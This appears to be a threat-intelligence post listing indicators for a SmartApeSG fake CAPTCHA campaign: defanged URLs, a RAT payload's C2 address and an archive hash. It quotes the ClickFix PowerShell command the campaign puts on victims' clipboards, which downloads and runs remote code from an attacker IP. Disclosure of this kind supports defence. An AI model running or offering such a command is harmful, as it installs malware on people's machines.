Example of #SmartApeSG URLs for fake CAPTCHA/human verification page:

- hxxps[:]//datanexlab[.]top/trace/audit-module.js
- hxxps[:]//datanexlab[.]top/trace/refresh-css.php?hZ5akaYM
- hxxps[:]//datanexlab[.]top/trace/alias-thread.js?78a6eb157b4ca38e45

#ClickFix script injected into clipboard:

powershell -c iex(irm 216.120.201[.]116 -UseBasicParsing)

Traffic leading to #RAT payload:

- hxxp[:]//216.120.201[].116/
- hxxp[:]//104.225.129[.]105/
- hxxps[:]//truebasecore[.]com/io

Zip archive with package for RAT payload:

- SHA256 hash: 5a30867937f1e2f714c8b398436135c63c164267602cc66a5adb5b4c2ed55365

#RAT payload C2 traffic:

- tcp[:]//89.110.110[.]119:443/